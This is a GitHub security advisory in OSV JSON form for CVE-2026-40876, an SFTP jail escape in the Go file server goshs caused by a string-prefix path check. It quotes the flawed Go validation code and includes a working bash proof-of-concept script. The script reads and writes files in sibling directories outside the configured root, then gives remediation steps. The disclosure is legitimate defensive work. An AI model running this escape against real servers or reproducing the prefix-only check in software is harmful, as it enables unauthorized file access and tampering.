CVE-2026-40876: Github.com/patrickhener/goshs SFTP Root Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5h6h-7rc9-3824",
  "modified" : "2026-04-27T18:09:50Z",
  "published" : "2026-04-14T22:28:17Z",
  "aliases" : [ "CVE-2026-40876" ],
  "summary" : "SFTP root escape via prefix-based path validation in goshs",
  "details" : "### Summary\ngoshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files.\n\n### Details\nThe SFTP subsystem routes requests through `sftpserver/sftpserver.go:99-126` into `DefaultHandler.GetHandler()` in `sftpserver/handler.go:90-112`, which forwards file operations into `readFile`, `writeFile`, `listFile`, and `cmdFile`. All of those sinks rely on `sanitizePath()` in `sftpserver/helper.go:47-59`. The vulnerable logic is:\n\n```go\ncleanPath = filepath.Clean(\"/\" + clientPath)\nif !strings.HasPrefix(cleanPath, sftpRoot) {\n    return \"\", errors.New(\"access denied: outside of webroot\")\n}\n```\n\nThis is a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is `/tmp/goshsroot`, then a sibling path such as `/tmp/goshsroot_evil/secret.txt` incorrectly passes validation since it starts with the same byte prefix.\n\nThat unsafe value then reaches filesystem sinks including:\n\n- `os.Open` in `sftpserver/helper.go:80-94`\n- `os.Create` in `sftpserver/helper.go:139-152`\n- `os.Rename` in `sftpserver/helper.go:214-221`\n- `os.RemoveAll` in `sftpserver/helper.go:231-232`\n- `os.Mkdir` in `sftpserver/helper.go:242-243`\n\nThis means an authenticated SFTP user can escape the configured jail and read, create, upload, rename, or delete content outside the intended root directory.\n\n### PoC\nThe configured SFTP root was `/tmp/goshsroot`, but the SFTP client was still able to access `/tmp/goshsroot_evil/secret.txt` and create `/tmp/goshsroot_owned/pwned.txt`, both of which are outside the configured root.\n\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'\ngo build -o /tmp/goshs_beta4 ./\n\nrm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key\nmkdir -p /tmp/goshsroot /tmp/goshsroot_evil\nprintf 'outside secret\\n' > /tmp/goshsroot_evil/secret.txt\nprintf 'proof via sftp write\\n' > /tmp/local_upload.txt\ncp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key\nchmod 600 /tmp/goshs_beta4_client_key\n\n/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \\\n  --sftp-keyfile sftpserver/authorized_keys \\\n  --sftp-host-keyfile sftpserver/goshs_host_key_rsa\n```\n\n`Terminal 2`\n\n```bash\nprintf 'ls /tmp/goshsroot_evil\\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\\nmkdir /tmp/goshsroot_owned\\nbye\\n' | \\\nsftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\nprintf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\\nbye\\n' | \\\nsftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\ncat /tmp/outside_sftp.txt\ncat /tmp/goshsroot_owned/pwned.txt\n```\n\nExpected result:\n\n- `ls /tmp/goshsroot_evil` succeeds even though that path is outside `/tmp/goshsroot`\n- `cat /tmp/outside_sftp.txt` prints `outside secret`\n- `cat /tmp/goshsroot_owned/pwned.txt` prints `proof via sftp write`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/d2c96301-afc8-4ddc-b008-74b235f94e31\n\n\n\nSingle-script verification:\n\n```bash\n'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc1'\n```\n\n`gosh_poc1` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'\nBIN='/tmp/goshs_beta4_sftp_escape'\nROOT='/tmp/goshsroot'\nOUTSIDE='/tmp/goshsroot_evil'\nOWNED='/tmp/goshsroot_owned'\nCLIENT_KEY='/tmp/goshs_beta4_client_key'\nDOWNLOAD='/tmp/outside_sftp.txt'\nUPLOAD_SRC='/tmp/local_upload.txt'\nPORT='2222'\nSERVER_PID=\"\"\n\ncleanup() {\n  if [[ -n \"${SERVER_PID:-}\" ]]; then\n    kill \"${SERVER_PID}\" >/dev/null 2>&1 || true\n    wait \"${SERVER_PID}\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\necho '[1/6] Building goshs beta.4'\ncd \"${REPO}\"\ngo build -o \"${BIN}\" ./\n\necho '[2/6] Preparing root and sibling paths'\nrm -rf \"${ROOT}\" \"${OUTSIDE}\" \"${OWNED}\" \"${DOWNLOAD}\" \"${UPLOAD_SRC}\" \"${CLIENT_KEY}\"\nmkdir -p \"${ROOT}\" \"${OUTSIDE}\"\nprintf 'outside secret\\n' > \"${OUTSIDE}/secret.txt\"\nprintf 'proof via sftp write\\n' > \"${UPLOAD_SRC}\"\ncp \"${REPO}/sftpserver/goshs_client_key\" \"${CLIENT_KEY}\"\nchmod 600 \"${CLIENT_KEY}\"\n\necho '[3/6] Starting SFTP server'\n\"${BIN}\" -sftp -d \"${ROOT}\" --sftp-port \"${PORT}\" \\\n  --sftp-keyfile \"${REPO}/sftpserver/authorized_keys\" \\\n  --sftp-host-keyfile \"${REPO}/sftpserver/goshs_host_key_rsa\" \\\n  >/tmp/gosh_poc1.log 2>&1 &\nSERVER_PID=$!\n\nfor _ in $(seq 1 20); do\n  if python3 - <<PY\nimport socket\ns = socket.socket()\ntry:\n    s.connect((\"127.0.0.1\", ${PORT}))\n    raise SystemExit(0)\nexcept OSError:\n    raise SystemExit(1)\nfinally:\n    s.close()\nPY\n  then\n    break\n  fi\n  sleep 1\ndone\n\necho '[4/6] Listing and downloading path outside configured root'\nprintf 'ls /tmp/goshsroot_evil\\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\\nmkdir /tmp/goshsroot_owned\\nbye\\n' | \\\n  sftp -i \"${CLIENT_KEY}\" -P \"${PORT}\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\necho '[5/6] Writing a new file outside configured root'\nprintf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\\nbye\\n' | \\\n  sftp -i \"${CLIENT_KEY}\" -P \"${PORT}\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1\n\necho '[6/6] Verifying outside-root read and write'\necho \"Downloaded content: $(cat \"${DOWNLOAD}\")\"\necho \"Written content: $(cat \"${OWNED}/pwned.txt\")\"\n\nif [[ \"$(cat \"${DOWNLOAD}\")\" == 'outside secret' ]] && [[ \"$(cat \"${OWNED}/pwned.txt\")\" == 'proof via sftp write' ]]; then\n  echo '[RESULT] VULNERABLE: authenticated SFTP user escaped the configured root'\nelse\n  echo '[RESULT] NOT REPRODUCED'\n  exit 1\nfi\n```\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/25e7a4d7-6ec7-40a6-b3d4-d66df3ea3e5f\n\n\n\n### Impact\nThis is a path traversal / jail escape in the SFTP service. Any authenticated SFTP user can break out of the configured root and access sibling filesystem paths that were never meant to be exposed through goshs. In practice this can lead to unauthorized file disclosure, arbitrary file upload outside the shared root, unwanted directory creation, overwrite of sensitive files, or data deletion depending on the reachable path and server permissions.\n\n### Remediation\nSuggested fixes:\n\n1. Replace the raw prefix check with a real directory-boundary validation such as requiring either exact root equality or `root + path separator` as the prefix.\n2. Reuse the hardened HTTP-style path sanitizer across SFTP as well, so all file-serving modes share the same boundary logic.\n3. Add regression tests for sibling-prefix cases like `/tmp/goshsroot_evil`, not only `..` traversal payloads.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.1.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-5h6h-7rc9-3824"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40876"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/releases/tag/v2.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:28:17Z",
    "nvd_published_at" : "2026-04-21T20:17:01Z"
  }
}